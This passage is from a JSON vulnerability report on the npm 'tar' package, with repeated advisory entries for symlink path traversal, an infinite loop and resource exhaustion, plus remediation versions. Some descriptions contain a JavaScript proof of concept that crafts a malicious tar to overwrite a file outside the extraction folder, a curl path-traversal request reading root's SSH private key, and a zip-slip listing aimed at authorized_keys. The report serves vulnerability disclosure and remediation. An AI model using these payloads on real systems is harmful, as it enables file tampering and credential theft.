"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an 